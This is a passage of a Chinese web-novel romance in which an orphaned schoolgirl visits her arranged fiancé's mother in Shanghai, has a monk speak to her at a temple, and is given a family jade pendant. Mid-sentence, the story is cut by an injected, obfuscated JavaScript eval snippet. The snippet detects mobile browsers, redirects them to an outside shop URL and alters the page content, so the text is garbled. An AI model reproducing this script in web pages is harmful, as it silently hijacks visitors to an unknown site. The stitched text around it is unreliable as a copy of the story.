在他看来,哭不过是弱者想得到一些东西的手段。 可她偏偏有几分不同。几分赌气里分明流露满分的恐惧,惊慌失措,整个人都在发抖。 慢慢不忍心。 他俯身过去,略强势地将她的脑袋拽出来。于是看到一张梨花带雨的可怜的脸,哪里都红红的。 喉结不自觉滑动,他挪开眼睛,抽了几张纸塞过去,冷声道,“我不该骗你,别哭了。” 池落漪还没有完全平复,呆呆愣愣地攥着纸,不动。 他等了会,笑了,眉梢上挑。然后伸手过来掰她的下巴,往上抬,拿纸不那么温柔地在她脸上揉了圈。 “我妈喜欢安静,房子在郊区。周边人烟稀少,黑很正常。” “但你看那——” 他指着窗外,不远处的半山腰隐隐有一团光亮,像是住户区。 “那里就是。” “放心吧。” 该放心吗? 可眼下没其他人能信任了。 她吸吸鼻子,擦眼泪,不好意思地哦了声,“走吧,对不起。” “对不起什么。” 女孩又拒绝沟通,“没什么,就是对不起。” 盛时寒觉得好笑,还有一团火在心底缓缓燃烧。 “你额头上的伤是怎么回事?” “没怎么。” “没怎么是怎么了?” “凭什么告诉你。” 堵得人难受。 等真正到了半山别墅、迎接李露女士下楼,才隐隐将这股莫名的焦躁压下去。 李露女士很有气质,举手投足间带着淡淡的书卷气。从头发丝的光泽到居家拖鞋的材质,都彰显出她是个十分讲究的贵妇人。 也够冷漠。 按说母子俩这么久不见,该是一派相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745784|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥喜极而泣的画面。可她表现得十分淡然,盛时寒也很淡然,一个叫“妈”,一个“嗯”了声,说,坐吧。 就算问候了。 “出国的手续都办好了?” “不用你操心。” 她微微笑,推过来一杯水,“是不用,毕竟长大了。” “这位,就是老爷子给你订下的未婚妻吧?” 他不语,事不关己高高挂起。池落漪还是要有礼貌的,上前鞠了个躬,“阿姨,您好。” 她点点头,相比同龄人要澄净许多的目光在她身上打量着。这股目光很轻柔,不叫人有压力,因为她只是好奇。 “喏,还是个小姑娘呀。” 瘦瘦的,穿着全国统一的很丑蓝白校服。黑直长发绑成一个低低的马尾垂在腰间,露出一整张白皙无暇的脸。五官不是顶美,凑在一处倒别有韵味。择日长开了、褪了婴儿肥,想必会是个清冷出尘的大美人。 “过来坐。” “饿了吧?” 池落漪点头,“嗯。” 李露吩咐佣人上菜。味特正的淮扬私厨菜摆了一桌,倒也没亏待儿子和第一次相见的儿媳妇。 “你爷爷身体还好么?” “好。” “回去替我问候他。” “行。” 母子俩都不说废话。 “这两天我有几个展要看,你们在家自便。” “恩。” “预计什么时候回去?” 盛时寒不急不缓地挑鱼刺,“后天吧。她什么都没带,你让人给她准备几套换洗衣服。” “可以。” 就这样三言两语地解决了所有问题。 这时,厨师端来一道饭后甜品,介绍为,芒果黑糖爆珠嫩豆花。 李露示意他放下来,“我和小寒不喜欢吃甜食,这道菜专门给你做的。喜欢的话,尝尝。” 卖相太好。池落漪咬了咬唇,发现自己真想尝。然而一只手伸过来,云淡风轻地将碗夺去。 “她没这个口福。” “怎么?” 男孩嗤了声,“问她别问我。” 李露挑眉,“有故事啊。” 池落漪摇头否认,“不是的,过敏而已,芒果过敏。” 厨师笑,“好办嘞!我马上重做一碗,把芒果换成别的。” “多浪费。” 就见勤俭节约的盛时寒将码得整齐的芒果粒挑出去,还了碗破破烂烂的嫩豆花回来…… “这样就行。” “吃吧。” 说着歪头一笑。 ——这回相见的第三个笑容。 慵懒的,恶劣的。不可饶恕的,损人不利己的、 直到上楼,睡醒一觉了,池落漪仍有把他揍扁的冲动。 这里是客房,装修简约大方。卫生间里崭新的洗漱用品具备,出来,床上整齐放着睡衣和明天要穿的衣服。 最近太累。不到八点,她便抱着被子睡过去。再醒,凌晨刚过十五分,世界变得安静,她却怎么都睡不着了。 下床,到阳台吹风。 盛夏的夜很晴朗,深蓝色的夜幕泛着一层轻盈的星光。晚风清凉,穿梭在静谧的光影和月色里,为山间生活添上一番隐逸的味道。 人人都说沪市繁华,灯红酒绿。她第一次来,就幸运地在半山腰俯瞰到这个城市的夜景。 世间这么大,人又这么渺小。 三年后,五年后,十年后……无论在云泽,杭城还是沪市,自己会比现在自由、快乐,像个人一样活着么? 会找到真心对待自己的那个人,组成一个新的家么? 霓虹璀璨,却给不了她答案。 她想了许久许久…… “咔——” 隔壁房间的移门开了。 盛时寒边打电话边走出来。 夜晚太静,她能分辨出和他通话的那个人的声音。夹杂在电流声中有些变质,但音色不变。 是曹婧。 14. 第十四章 “住处我已经安排好了。” …… “不需要。” …… “那是他们的想法。” …… “我说了,不要在我面前表现你的骄傲和自尊心。既然你想出国,我就不会让你吃苦。” …… “就这样,挂了。” 他转过头来,发现自己的存在。池落漪一瞬有偷听别人说话的心虚感。 “我早就在这了!” 欲盖弥彰的解释。 盛时寒眉心一缕料峭,盯着她看了几秒,“怎么还不睡?” “睡了。又醒了。”她从栏杆上爬下来,很灵活,晚风将她的长发吹得乱糟糟的,“我现在要回去接着睡,晚安。” 男人没说话。 看她趿着拖鞋小跑。脖颈、手腕和脚腕露在外面,白的晃眼。总是束成低马尾的头发此时散着,铺到腰上,像绸缎一样,随动作一荡一荡。 “对了。”她扒着门框回头。 “明天我可以出去吗?” “去哪?” “去市里,我想逛一逛。” 盛时寒没什么表情。 “几点?我送你。” 她连忙摆手,“不不,我自己去,不用麻烦你。” 他眉头一蹙,“这里是郊区,打不到车。而且你第一次来人生地不熟,丢了谁负责?” 池落漪觉得他在怀疑自己的智商。 一个17岁的无语言交流障碍的高中生,怎么丢?但又不能完全不领他的“好意”,默了默,道,“要不你送我去最近的公交车站吧?” 然后坐到哪是哪。 多酷啊。 “不行。” “哦,那我不去了。”她失望地把门关上了。 …… 第二天睡到日上三竿,下楼时客厅空荡荡的。佣人招呼她吃早餐,她道谢坐下,便打听附近有没有公交车站。 得知两公里外有一个,她吃完就上楼拿手机和书包。 一路很顺利。不巧刚出小区门,就碰到煞星—— 盛时寒骑着山地车迎面而来。 白t,运动裤,额发汗湿。脸在汗水的浸透下愈显冷白,玉一样。可那双眼睛如泼墨,深不见底,望过来,给人一种浓浓的压迫感。 “去哪?” 池落漪硬着头皮撒谎,“散步,消食。” “背书包散步?” “……” 只好实话实说,“去逛逛。昨晚不是告诉你了吗?” “我记得你说不去了的。” “我知道公交车站在哪了。” 他深呼吸,太阳穴突突跳。昨晚那股无名火冒起来,把他所有的淡然都烧了,“你是不是故意的!” “……故意什么?” 他咬牙,投降了。 “站这别动,等我。” 说完就走,背影像阵迅疾的风。 …… 他终究把自己送到公交车站,临走时留下了一句警告和电话号码。 池落漪不信男人恐吓,蹦蹦跳跳地坐上近郊到市区的公交。上车发现独享车厢,更快乐了,一路哼着歌。 这条路很美,浓荫绿翳青翠,鸟啼空灵,仿佛穿梭在宫崎骏的动画里。她对着路线图一个点一个点搜索,最终锁定一座冷门寺庙。 香火费10元,晚唐宫殿式建筑,怎么看怎么适合自己这种想见世面又没钱的穷学生。 到地点下车买了票,进去发现人真不是很多。但寺景绝美,耳边的塔铃声如梵音一般,重重无尽,每走深一处灵魂就轻松一分的感觉。 小时候,她也和爸爸妈妈去云泽的寺庙玩过。 白歆潇说,佛祖很灵,善人的祈祷都可以被祝福。而今大了,学着其他香客请香、点火、祭拜,却怎么都想不出具体的心愿…… 终究遗憾满满。 中午吃了素面,人多热得很。她摸到一处小桥流水的园子乘凉,和一对不认识的母女逗花丛里的橘猫玩。 之后继续逛,凡遇见的、供有佛像的都上香了。慢慢地,天黯淡下来,游客越来越少,池落漪便决定原路返回。 公交车最后一班是6:30,她下车前问好的。现在走过去,时间充足。 边走边留连美景,偶然发现了一处没拜过的庙宇。 观音殿。 一进三间,不止观音殿,还有三圣殿和客堂。 她不懂佛,却知道观音菩萨救苦救难大慈悲。便走进去,请香恭恭敬敬地拜了,并在内心许下了今天的第一道愿望。 很小很小的愿望。 却希望它能实现。 所以不说出口。 不知道是不是真结了佛缘,在她出去时,殿内念珠诵经的老僧叫住了她。 池落漪回头。 就见他缓缓睁开眼睛,望过来。眼角沟壑如名山大川,舒展开来,包容万物—— 她不自觉地走过去。 “师傅,您要帮我算命吗?” 僧人摇头,“非也。佛家有言,‘缘必到,因可控,果可变’,百年后,既无我,也无你,空空来,空空去,又何须执念。” “善信你年纪虽小,却有三千烦恼丝。纵然命数使然,也需自度守心,万不可一念执着,伤人伤己。” 池落漪似懂非懂,跪下来,一本正经问,“所以我应该出家?小时候,我爷爷找了一个大师,他说我命硬。” “我出家了,是不是就不会再有人离开我了?爸爸,妈妈,爷爷,他们都不在了,只剩我一个人。” “我很孤独,真的真的,孤独。不想自己一个人了。” 老僧目露慈悲,就这样端详她。半晌摇头,“你既无慧根,也无佛缘,且红尘太深,并非我佛家人。” 她失望,回想起池国煊在病床上说的那五句话,不由惶惶,眼泪颤抖地蓄满眼眶,“佛不渡我,我又……又渡不了自己,难道这辈子就只能靠一个不喜欢我的人的施舍?我不想这样!” “万法皆空,因果不空。” 依旧简短的八个字。 池落漪迷离了眼睛,感悟着,许久才回头。此刻殿外霞光喷涌,烧红了半边天,今天的太阳要落了,意味着一天的结束。而明天升起的,是新一天的开端,一切有为法。 “所以,只要我不起心,不动念,就种不下因?” “因没有,果也就是个伪命题……” 老僧欲言又止。 诸行无常,诸法无我。如果世间的因果关系这么简单,就不会有贪嗔痴慢疑,循环往复。 她却自以为找到了谋算。 起身,恭恭敬敬地鞠了个躬,“我走了,谢谢师傅。” “善信。” “啊?” “他是你的果。” 听不懂的话。 池落漪站停,发现自己已经一脚踏出门槛了。 而屋外,晚霞在梵音中荡尽,落下余晖点点。披在肩上,如铠甲一般,英姿飒爽。 “但因由你抉择。” “切记,切记!” …… 回去的公交车上依然只有零星的三两工人,操着听不懂的口音聊着快乐的话题。 下车天完全黑了,月色遥远。本能觉得害怕,却发现站台的那抹微弱光亮里站着一道熟悉的身影…… 预料之外。 至少他可以不管的。 “我妈让我来接你。” “哦。” “哦?”盛时寒似乎对这个字颇有微词,逼近,宽阔的身躯黑压压地笼罩过来,像要吃了她似的。 “知不知道你再不回来,我就报警了?” 池落漪扭头闪避开来,露出一个无所谓的笑,“哪有那么夸张。” 他笑,依旧淡淡的,不达眼底的那种,“我发现你胆挺大。既然如此,就自己回去吧。两公里,连走带跑,半小时就到。到不了我明早来收尸,那时候我会给你好好送回杭城去。” “……”女孩不蠢,这荒郊野岭别说晚上,就白天她也不敢自己一个人。 于是飞快抓住他胳膊,厚脸皮地跟上车,一路老实,直到安全到达别墅区才松了口气。 “去寺庙了?” 李露放下书问她。 她诧异,“您怎么知道?” 妇人笑,“你身上有香火味。” “求什么了?学业?” 池落漪摇头。 “健康?” 她还是摇头。 李露挑眉,“那阿姨不问了。请,我们吃饭去。” 依旧满满一桌。 吃完盛时寒夜跑去了,李露整理她今天收获的名家画作。 池落漪在客厅看文艺电影,看得直犯困,主人便让她上楼休息。 洗完澡人变得清醒,她抱着枕头继续看电视。其实她很喜欢看电视,但池怡晴不让她喜欢,就把家里每个房间的遥控器都藏起来,美名其曰省电。 李露敲门进来的前,她正津津有味地看《小鲤鱼历险记》。 她进来,看到,竟扑哧笑了。 笑起来和盛时寒更像,散发着高不可攀的慵懒气质。 “动画片啊?果然是个孩子。” 池落漪手足无措地搬了个板凳过来,“阿姨,您坐。” “好,你也坐。”她开门见山地拿出一块吊坠给她看。 翡翠,如意款,周边镶嵌 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“正因为像我,我才了解他。其实他是个不愿意被束缚,却又……很眷恋亲密关系的人。” 池落漪今天频繁听不懂。 她并不介意,顿了顿,直视她的时候眼里有光。 “你们未来有很多不确定因素,我理解,毕竟都太年轻了。” “我只是觉得,很奇怪……我竟然觉得你才是这段缘分的主导者。所以之后如何,我干预不了,别人干预不了,你谨随心。” 她起身,准备走了,临走前将那个盒子放桌上,“至于这个,它现在只能属于你。你收着,或者还了。” “还谁都行,千万别还我。” “……” 翌日回去的车上,池落漪把盒子掏出来,物归原主。 盛时寒看了眼,没说话。单手盘着方向盘换道,越开越快。 “阿姨给我,我不能不要。” …… “你保管吧,总不能让我还给爷爷吧。” …… “反正不能放我这,太贵重了,万一丢了,我是不是得还几辈子?” …… “你看过吗?要不要我打开给你看一下?说实话你,挺漂亮的,任何一个女孩都会喜欢。” “说句话行么?” 她碎碎念得自己都烦了。 可这人存心把自己当空气,不仅不听,还把车载音乐放出来,嫌弃之情溢于言表。 池落漪没办法了,索性睡觉。睡得昏天黑地。再醒,月色朦胧如纱,透过半开的车窗缓缓泄进来。 晚风中飘来一阵又一阵熟悉而热烈的含笑花香气,沁人心脾,熟悉的感觉一点点将意识唤醒。 萧山湘湖…… 原来已经到家了。 她坐起来,把盒子放到他手里,开始解安全带。 “这是我奶奶的东西。” 手一滞,四目相触,说不清的怦然因子在夜色下晕染开来。 他率先撤回视线,懒懒抽出一根烟点燃。 猩红摇曳。青烟不急不缓,他也不急不缓,吞、吐,侧颜逐渐模糊。 “我妈不喜欢小孩,是奶奶把我照顾到十几岁。” “几年前,她去世了,只剩我和爷爷相依为命。我们都很想她。” 池落漪垂眸,在这件事上是有些共情的,出言安慰道,“节哀。”他却嗤了声,讥讽回来,笑,“你真不会聊天。” “说这些不代表什么。既然我妈把东西给了你,那就是奶奶的意思。你愿意或不愿意,都改变不了你是盛家孙媳的事实。或许有一天、” 没夹烟的手往方向盘上一搭,白皙而修长。他根本不在乎让对方发现那枚戒指正不该存在地存在着。 “我们自由了。” “那你还回来,我会收。” 女孩呆呆愣愣地,抱着书包想说些什么,又不说。盛时寒忽然意识到是自己话太多了。 他咳了咳,咔地解开车门的锁,最后一番组织语言,“当然,也不会让你白担这份责任。” “只要你一天是这个身份,就可以寻得盛家的庇护。包括我出国期间。” “有什么需要或为难的,告诉爷爷,或者……我,我们解决。” 池落漪这下有反应了。 她看向车窗外的池家的别墅,那股难以呼吸的感觉又回来了。 郭兴昂……池怡晴…… 忍受,还是借力反击?一次性/交易还是频发副作用……她万般挣扎。 最终,松开手,回头。 心砰砰……砰砰…… “你曾说会照顾我,这句话还算不算数?”